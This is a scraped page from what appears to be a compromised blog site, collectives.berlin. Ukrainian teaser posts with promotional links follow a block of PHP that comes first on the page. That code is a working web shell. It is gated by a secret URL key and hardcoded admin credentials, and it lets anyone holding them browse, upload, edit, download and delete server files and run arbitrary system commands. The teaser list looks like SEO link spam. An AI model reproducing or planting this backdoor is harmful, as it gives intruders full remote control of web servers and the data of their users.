if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 20 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Підготовка теплиці для успішного вирощування рослин восени

    Регулярне тестування ґрунту є першим кроком у створенні успішного середовища. Переконайтеся, що pH знаходиться в межах 6-6.8. Це забезпечить баланс поживних речовин, https://agrotis.com.ua/ необхідних для росту рослин. Додатково, використання органічних добрив, таких як компост або перегній, не лише збагачує ґрунт, але й покращує його структуру, що сприяє хорошій аерації кореневої системи. Запровадження мульчування також дозволяє…

    Click or not…

  • Як продуктивно організувати роботу дистанційної команди

    Використовуйте чіткі комунікаційні канали, такі як Slack або Microsoft Teams, https://proitservice.com.ua/ для забезпечення швидкого обміну інформацією. Це знижує ймовірність непорозумінь та дозволяє усім учасникам залишатися в курсі важливих оновлень. Регулярно організовуйте онлайн-зустрічі, аби обговорити статус проєктів та вирішити наявні проблеми. Використовуйте планерки не лише для роботи, а й для неформального спілкування, що підвищує командний дух…

    Click or not…

  • Кроки до фінансової стабільності для кожного на будь-який етап життя

    Розробіть бюджет. Це перший крок до контролю за вашими витратами та доходами. Запишіть свої щомісячні витрати, визначте, які з них є обов’язковими, https://goodfinance.com.ua а які можна скоротити. Порахуйте доступні фінансові ресурси і плануйте витрати на основі реальних даних. Створіть резервний фонд. Відкладіть щонайменше 3-6 місяців витрат на випадок непередбачених обставин. Це забезпечить вам фінансову подушку…

    Click or not…

  • Швидке відновлення після хвороби без стресу та тривог

    Регулярна фізична активність має великий вплив на ваше самопочуття під час одужання. Вправи, навіть у м’якому вигляді, покращують кровообіг, https://mylikari.com.ua/ забезпечують киснем органи та сприяють виведенню токсинів. Пам’ятайте, навіть коротка прогулянка може значно підвищити ваш настрій та енергію. Зверніть увагу на режим сну, оскільки якісний відпочинок є основою для відновлення. Старайтесь дотримуватися постійного графіка сну,…

    Click or not…

  • Лайфхаки для економії в подорожах без додаткових витрат

    Використовуйте громадський транспорт. Це не лише вигідніше в порівнянні з таксі, https://pohod.com.ua/ але й дозволяє побачити місто з іншого боку. Наприклад, купівля проїзного квитка на кілька днів часто значно знижує витрати на поїздки. Обирайте недорогі варіанти проживання. Хостели та апартаменти можуть бути набагато вигіднішими, ніж готелі. Враховуйте платформи для підбору житла, де можна знайти непогані…

    Click or not…

  • Як вибрати когтеточку для кота щоб задовольнити його потреби

    Зверніть увагу на матеріал, з якого виготовлена основа: натуральний sisal або картон забезпечують оптимальне тертя для кігтів. Картонні моделі підходять тим, хто полюбляє активно точити кігті, https://kotok.com.ua/ у той час як sisal відмінно витримує тривалі навантаження. Вибір форми є наступним етапом. Вертикальні конструкції підходять для котів, що люблять підніматися, тоді як горизонтальні моделі виявляться корисними…

    Click or not…

  • Довгочит vs короткі замітки: що обирає сучасна аудиторія

    У сучасному світі інформація є одним з найцінніших ресурсів. З розвитком технологій та зростанням обсягу контенту, з яким стикається аудиторія, виникає питання: що обирає сучасна аудиторія – довгочит чи короткі замітки? Цей звіт має на меті дослідити переваги та недоліки обох форматів, а також визначити, focusdigest.com.ua що більше приваблює читачів у наш час. Довгочит –…

    Click or not…

  • Тренерські досягнення Сергія Реброва на футбольних аренах

    Результативність та стратегічний підхід Сергія Реброва в ролі наставника вражають своєю послідовністю. У 2018 році, очоливши команду з Арабських Еміратів, https://driver.in.ua він вже у перший сезон виграв Кубок. Цей успіх підтвердив його вміння адаптуватися до нових умов та знімати максимальну віддачу з гравців. У 2021 році Ребров вказав на свою неординарність, коли взяв на себе…

    Click or not…

  • Топ помилок під час домашнього манікюру

    Домашній манікюр став популярним способом догляду за нігтями, особливо в умовах сучасного життя, коли час на відвідування салонів краси обмежений. Однак, незважаючи на зручність та економію, https://nailsforyou.com.ua/ багато людей стикаються з певними труднощами та роблять помилки, які можуть вплинути на якість манікюру і здоров’я нігтів. У цій статті ми розглянемо топ помилок, які найчастіше трапляються…

    Click or not…

  • Як забезпечити захист розумного дому від кіберзагроз і ризиків

    Використання сучасних технологій в побуті підвищує комфорт, https://goodtech.com.ua/ однак кожен з пристроїв може бути потенційним джерелом уразливостей. Для втримання контролю над своїм середовищем налаштування складних паролів та двофакторна автентифікація є першочерговими кроками. Рекомендується обирати пристрої з надійними оновленнями програмного забезпечення. Регулярне сканування мережі на наявність незнайомих підключень дає змогу вчасно виявити небажані вторгнення. Чистота локальної…

    Click or not…